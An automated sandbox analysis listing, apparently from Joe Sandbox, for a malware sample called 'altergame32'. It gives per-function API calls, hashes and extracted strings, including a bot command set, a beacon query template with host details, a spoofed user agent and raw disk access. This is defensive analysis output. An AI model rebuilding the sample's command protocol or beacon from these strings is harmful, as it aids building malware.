RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E474B6
_malloc.LIBCMT ref: 02E4758E
_strtok.LIBCMT ref: 02E475BF
_swscanf.LIBCMT ref: 02E475D6
_strtok.LIBCMT ref: 02E475ED
_free.LIBCMT ref: 02E475F9
Sleep.KERNEL32(000007D0), ref: 02E476F1
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E47772
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E47784
_sprintf.LIBCMT ref: 02E47822
RtlEnterCriticalSection.NTDLL(00000020), ref: 02E478E6
RtlLeaveCriticalSection.NTDLL(00000020), ref: 02E4791A

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02E46739
updips, xrefs: 02E47441, 02E477D0
%d;, xrefs: 02E4781C
connect, xrefs: 02E47405, 02E47470
<htm, xrefs: 02E47391
block, xrefs: 02E475A7
disconnect, xrefs: 02E47419, 02E47742
idle, xrefs: 02E4742D, 02E4779D
, xrefs: 02E47A94
auth_ip, xrefs: 02E47563, 02E477F4
auth_swith, xrefs: 02E47537
urls, xrefs: 02E47B36
updurls, xrefs: 02E47455, 02E47B00

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Internet$EnterLeave$Option$CloseHandleOpenSleep_malloc_strtok$FileRead_free_sprintf_swscanf
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls$urls
API String ID: 1657546717-1839899575
Opcode ID: 42e35dc443596ecd6ad8ef919a29b4e1970f0625e71b35eef4f40a1d59952da9
Instruction ID: a03bde155487a412312432de5e9e2afb080eb0ff69cd5294aab116e92ea4f81b
Opcode Fuzzy Hash: 42e35dc443596ecd6ad8ef919a29b4e1970f0625e71b35eef4f40a1d59952da9
Instruction Fuzzy Hash: 123227316C8381AFE7349B20EC05BAFB7E5AF85358F10981DF98997291DF709544CB62

Function 02E4648B Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(02E771E0), ref: 02E464BA
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02E464D1
GetProcAddress.KERNEL32(00000000), ref: 02E464DA
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02E464E9
GetProcAddress.KERNEL32(00000000), ref: 02E464EC
GetTickCount.KERNEL32 ref: 02E464F8

Part of subcall function 02E4605A: _malloc.LIBCMT ref: 02E46068

GetVersionExA.KERNEL32(02E77038), ref: 02E46525
_malloc.LIBCMT ref: 02E46551

Part of subcall function 02E52FAC: __FF_MSGBANNER.LIBCMT ref: 02E52FC3
Part of subcall function 02E52FAC: __NMSG_WRITE.LIBCMT ref: 02E52FCA
Part of subcall function 02E52FAC: RtlAllocateHeap.NTDLL(009A0000,00000000,00000001), ref: 02E52FEF

_malloc.LIBCMT ref: 02E46561
_malloc.LIBCMT ref: 02E4656C
_malloc.LIBCMT ref: 02E46577
_malloc.LIBCMT ref: 02E46582
_malloc.LIBCMT ref: 02E4658D
_malloc.LIBCMT ref: 02E46598
_malloc.LIBCMT ref: 02E465A7
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02E465BE
RtlAllocateHeap.NTDLL(00000000), ref: 02E465C7
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02E465D6
RtlAllocateHeap.NTDLL(00000000), ref: 02E465D9
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02E465E4
RtlAllocateHeap.NTDLL(00000000), ref: 02E465E7
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E46621
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E4662E
_malloc.LIBCMT ref: 02E46652
_malloc.LIBCMT ref: 02E46660
_malloc.LIBCMT ref: 02E46667
_malloc.LIBCMT ref: 02E4668D
QueryPerformanceCounter.KERNEL32(00000200), ref: 02E466A0
Sleep.KERNEL32 ref: 02E466AE
_malloc.LIBCMT ref: 02E466BA
_malloc.LIBCMT ref: 02E466C7
Sleep.KERNEL32(0000EA60), ref: 02E46708
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E46713
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E46724

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02E46739
sprintf, xrefs: 02E464CB
strcat, xrefs: 02E464DC
cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 02E4666F
ntdll.dll, xrefs: 02E464C6, 02E464D0, 02E464E1

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 4273019447-2678694477
Opcode ID: c52bd01b55966f7e9b654e894a46df5ab2fb98f3df0cb0b09d0718842d6e26cd
Instruction ID: a856da462a43256485e634bcdccd6c55e9e6e98f20e641d6fd0e334641219c23
Opcode Fuzzy Hash: c52bd01b55966f7e9b654e894a46df5ab2fb98f3df0cb0b09d0718842d6e26cd
Instruction Fuzzy Hash: F071E871DD8350AFE710AF31AC09B5BBBE8EF85354F049819FA4497281DBB45840CFA6

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

iphlpapi.dll, xrefs: 00401B58
o, xrefs: 00401BF2
GetAdaptersInfo, xrefs: 00401B6E

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
Instruction ID: a9f54c968f2091474e8feb0d981771773be25d9c6ef5ebc30493122ab1168d3f
Opcode Fuzzy Hash: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
Instruction Fuzzy Hash: E821B870904209AEDF219F65C9447EF7FB8EF45345F0440BAE604B62A1E7389A85CB69

Function 02E4F9A6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02E4F9BC
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02E4F9D5
GetAdaptersInfo.IPHLPAPI(?,?), ref: 02E4F9FA
FreeLibrary.KERNEL32(00000000), ref: 02E4FA83

Strings

iphlpapi.dll, xrefs: 02E4F9B0
GetAdaptersInfo, xrefs: 02E4F9CF

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: 765b12ab7b5d43115f7e59b00d31b058b0941b1222fa93f6c2ea8d7f06c28695
Instruction ID: fb02a44fa078425be4adc0e655e48e3f9fc750405569390d3841981f54faed03
Opcode Fuzzy Hash: 765b12ab7b5d43115f7e59b00d31b058b0941b1222fa93f6c2ea8d7f06c28695
Instruction Fuzzy Hash: BB21D731E802099FDF10CFA9A8446EEBBF9EF05748F1491AAD405E7610DF308945CBA0

Function 02E4F8A2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02E4F8C1
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02E4F8FF
GetLastError.KERNEL32 ref: 02E4F960
CloseHandle.KERNEL32(?), ref: 02E4F997

Strings

\\.\PhysicalDrive0, xrefs: 02E4F8BA

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 194707ef53f16e761ca43085f5e57597237e9287fca48b3f0d0a2bf0e40745d9
Instruction ID: 2840af3d0c5dddb18e9a52857f628382dc4c0cbc4f92be5f72d347e8161c7bf5
Opcode Fuzzy Hash: 194707ef53f16e761ca43085f5e57597237e9287fca48b3f0d0a2bf0e40745d9
Instruction Fuzzy Hash: 98318471D80219BBDB14CFD9E884BAFBBB5EB48B58F109169E605A7640DB705A00CB90

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNEL32(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
CloseHandle.KERNEL32(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
Instruction ID: ae54cd8959710a424601ffd4623f532e2396a469a493930b182490efebea7a61
Opcode Fuzzy Hash: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
Instruction Fuzzy Hash: 50318D71D01118EECB21EF95CD809EFBBB8EF45750F20807AE514B22A0E7785E45CB98

Function 02E41CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02E41D11
GetLastError.KERNEL32 ref: 02E41D23

Part of subcall function 02E41712: __EH_prolog.LIBCMT ref: 02E41717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02E41D59
GetLastError.KERNEL32 ref: 02E41D6B
__beginthreadex.LIBCMT ref: 02E41DB1
GetLastError.KERNEL32 ref: 02E41DC6
CloseHandle.KERNEL32(00000000), ref: 02E41DDD
CloseHandle.KERNEL32(00000000), ref: 02E41DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02E41E14
CloseHandle.KERNEL32(00000000), ref: 02E41E1B

Strings

thread, xrefs: 02E41DFB
thread.entry_event, xrefs: 02E41D3C
thread.exit_event, xrefs: 02E41D84

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$CreateEvent$H_prologObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 831262434-3017686385
Opcode ID: a7c75c75d032b570041bc9956f8178c58e374c2811fffe287285053672cd08d0
Instruction ID: 21a88c246771498d2201a41e8c233c33ccdcb9436f4ea36948bff333a92ccfe5
Opcode Fuzzy Hash: a7c75c75d032b570041bc9956f8178c58e374c2811fffe287285053672cd08d0
Instruction Fuzzy Hash: F031A071A843009FDB00EF20D848B2BBBE5EB85358F10995DF9598B290DB709C85CF92

Function 02E44D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02E44D8B
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E44DB7
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E44DC3

Part of subcall function 02E44BED: __EH_prolog.LIBCMT ref: 02E44BF2
Part of subcall function 02E44BED: InterlockedExchange.KERNEL32(?,00000000), ref: 02E44CF2

RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E44E93
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E44E99
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E44EA0
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E44EA6
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E450A7
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E450AD
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E450B8
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E450C1

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: 47e0fa3be40f0f9059068da3f0e9cb50f0aa35bce6a75a7dad3ca978f8c10377
Instruction ID: 239d19ecfdebcc6568642875473ef46fe90392a1d32a451cc181b96df39e5979
Opcode Fuzzy Hash: 47e0fa3be40f0f9059068da3f0e9cb50f0aa35bce6a75a7dad3ca978f8c10377
Instruction Fuzzy Hash: EEB13B71D8025EDFDF21DF90D844BEEBBB5AF14318F24905AE4056A280DBB46A49CFA1

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNEL32(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
Instruction ID: b01298f5e92dfabffd3260d40ec81ee59ee3d80feb476c4020a7475af27d6630
Opcode Fuzzy Hash: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
Instruction Fuzzy Hash: 60315C32900255EFDB105FB89F8896F7B68EF45344B10807AFA86F7281DA748941C7A8

Function 02E47B86 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 122
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(0000EA60), ref: 02E46708
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E46713
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E46724
_free.LIBCMT ref: 02E47B50

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02E46739
urls, xrefs: 02E47B36

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep_free
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$urls
API String ID: 2653569029-4235545730
Opcode ID: e7f3bff4b5712a74cb6235f271395b0e7c78fd613fde1c2df26557e930c97a35
Instruction ID: 881fb41df40644766787464cf572f052de750be5dcef291e5f1b9ce73dd7c5d7
Opcode Fuzzy Hash: e7f3bff4b5712a74cb6235f271395b0e7c78fd613fde1c2df26557e930c97a35
Instruction Fuzzy Hash: A441CA729C8391AFDB119F20A80479BBBA2EF46358F14E898E5C19B242DB615402C796

Function 02E426DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02E42706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02E4272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02E65B53), ref: 02E42738

Part of subcall function 02E41712: __EH_prolog.LIBCMT ref: 02E41717

SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02E42778
RtlLeaveCriticalSection.NTDLL(?), ref: 02E427D9

Strings

timer, xrefs: 02E42745

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: df1786c243e440fa8bd4d01561b84234e9737530cebfd779695d10a798a9215b
Instruction ID: 1f6bd7d507401224fa28bf401c6e11d2d083289352c1c3d8cff48b53d6b93dbe
Opcode Fuzzy Hash: df1786c243e440fa8bd4d01561b84234e9737530cebfd779695d10a798a9215b
Instruction Fuzzy Hash: 8D319EB1984705AFD310DF25D948B66BBE8FB48768F009A2EF95586680DB70E840CFA5

Function 02E42B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02E42BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 02E42C07

Part of subcall function 02E4A508: WSAGetLastError.WS2_32(00000000,?,?,02E42A51), ref: 02E4A516

WSASetLastError.WS2_32 ref: 02E42CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 02E42CE7

Strings

3', xrefs: 02E42C85

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: 354bc48a34f644291532efbc8da93efbed7fe71c52b13d9e56046722de9c0652
Instruction ID: 48238c2f9e6b6b385ce4a4a8a4a18b4cc24314c6fdff98ed477bdc67b74b9d54
Opcode Fuzzy Hash: 354bc48a34f644291532efbc8da93efbed7fe71c52b13d9e56046722de9c0652
Instruction Fuzzy Hash: 02419DB09A43018FD7109F64E4547ABBBE9AF88358F109D1EFD9987280EFB4D540CB91

Function 02E429EE Relevance: 7.6, APIs: 5, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02E42A3B
closesocket.WS2_32 ref: 02E42A42
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 02E42A89
WSASetLastError.WS2_32(00000000,?,8004667E,00000000), ref: 02E42A97
closesocket.WS2_32 ref: 02E42A9E

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocket$ioctlsocket
String ID:
API String ID: 1561005644-0
Opcode ID: b3d578aaabf3050514f82be6c344f95c548ef5763ade341b5c4fd7801246841c
Instruction ID: 5da901e2e9e6080cf9746b3dd078fa3e24680020ba912e169cd5c999be35308d
Opcode Fuzzy Hash: b3d578aaabf3050514f82be6c344f95c548ef5763ade341b5c4fd7801246841c
Instruction Fuzzy Hash: 4D210B71A902059BDF209BB4E85876AB6E9DF4835DF10D96AFE55D3240EF70C9408B50

Function 02E41BA7 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02E41BAC
RtlEnterCriticalSection.NTDLL ref: 02E41BBC
RtlLeaveCriticalSection.NTDLL ref: 02E41BEA
RtlEnterCriticalSection.NTDLL ref: 02E41C13
RtlLeaveCriticalSection.NTDLL ref: 02E41C56

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: 575682818664c34cd8b75004808096f8662de4218d50c5a61e774f2c20b6cba0
Instruction ID: 3c4efd2c1ed15bf4729e4587113ac45ea36a59240b85b957820255e3ef42459f
Opcode Fuzzy Hash: 575682818664c34cd8b75004808096f8662de4218d50c5a61e774f2c20b6cba0
Instruction Fuzzy Hash: 2A21A075A80204EFCF14CF68D84879ABBB5FF48718F109549E8599B301DB70E941CBA0

Function 00403310 Relevance: 6.1, APIs: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00403336

Part of subcall function 00404454: HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465
Part of subcall function 00404454: HeapDestroy.KERNEL32 ref: 004044A4

GetCommandLineA.KERNEL32 ref: 00403384
GetStartupInfoA.KERNEL32(?), ref: 004033AF
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004033D2

Part of subcall function 0040342B: ExitProcess.KERNEL32 ref: 00403448

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
Instruction ID: a936b3102d24e78b19d7c169988c3063d29dd1dd2c17feae02d4b7387c8d63d1
Opcode Fuzzy Hash: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
Instruction Fuzzy Hash: 172183B1900615AED704AFB5DE45A6E7F68EF44705F10413EF901B72D2DB385900CB58

Function 02E42EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02E42EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02E42EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02E42F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 02E42F36

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 7156ce1f1fc5f519059e905a9798a81068a7e964b9575072ac599bda7587406e
Instruction ID: 53cf42dd36c6299561b3f32e4a6a9b1014dce7584b9f8e78ee9536360e40257e
Opcode Fuzzy Hash: 7156ce1f1fc5f519059e905a9798a81068a7e964b9575072ac599bda7587406e
Instruction Fuzzy Hash: 2A017971A90214BBDB205F66DC88B5BBBA9EB89765F40C555FA1897141D77088008B60

Function 02E42DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 02E42D39: WSASetLastError.WS2_32(00000000), ref: 02E42D47
Part of subcall function 02E42D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02E42D5C

WSASetLastError.WS2_32(00000000), ref: 02E42E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 02E42E83

Strings

3', xrefs: 02E42E22

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: 8261cbbd7e040e383fc85891d69d244b462be1b5858815362a1b4d8c87167ec0
Instruction ID: e27e34d7a11c1a31cc0417359ac6d269eced3456e44a91ff8ed1bef668766332
Opcode Fuzzy Hash: 8261cbbd7e040e383fc85891d69d244b462be1b5858815362a1b4d8c87167ec0
Instruction Fuzzy Hash: 3F31E4B0EA02199FDF11DF60E8547EE7BA5AF09358F00D45AFD0497240EBB19580CFA0

Function 02E42AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02E42AEA
connect.WS2_32(?,?,?), ref: 02E42AF5

Strings

3', xrefs: 02E42B3B

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: 79f10b14e9f6b16635b7ee535041d6cfe29311dbd3a3d63bbeccb9f8f0f76bd4
Instruction ID: d4bab5aca922006761b765ecdc541f93dc0749b69aead70431f279441cd5076d
Opcode Fuzzy Hash: 79f10b14e9f6b16635b7ee535041d6cfe29311dbd3a3d63bbeccb9f8f0f76bd4
Instruction Fuzzy Hash: C921AA70E502145BCF14AF74E4646AEBBBADF44368F10D599FD1897280EFB455018F91

Function 0040264E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70sleeplibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00402652
Sleep.KERNEL32(000003E8), ref: 0040D22E

Strings

B:%, xrefs: 0040265D

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: AddressProcSleep
String ID: B:%
API String ID: 1175476452-921457382
Opcode ID: 23616e709f3a8f92ee577e4f06470e49853b31bb415dd92b2dc5cf32625e53e4
Instruction ID: 5de13a12f4540e4fd9c75831dffb799ae9cb131bfc725f57e4845645b6027e56
Opcode Fuzzy Hash: 23616e709f3a8f92ee577e4f06470e49853b31bb415dd92b2dc5cf32625e53e4
Instruction Fuzzy Hash: 0B110631A08201DFDB00CF68CA99BAA3BA0AF04354F14412BF956EB2D0C374DA46DB5A

Function 00402556 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64registryCOMMON

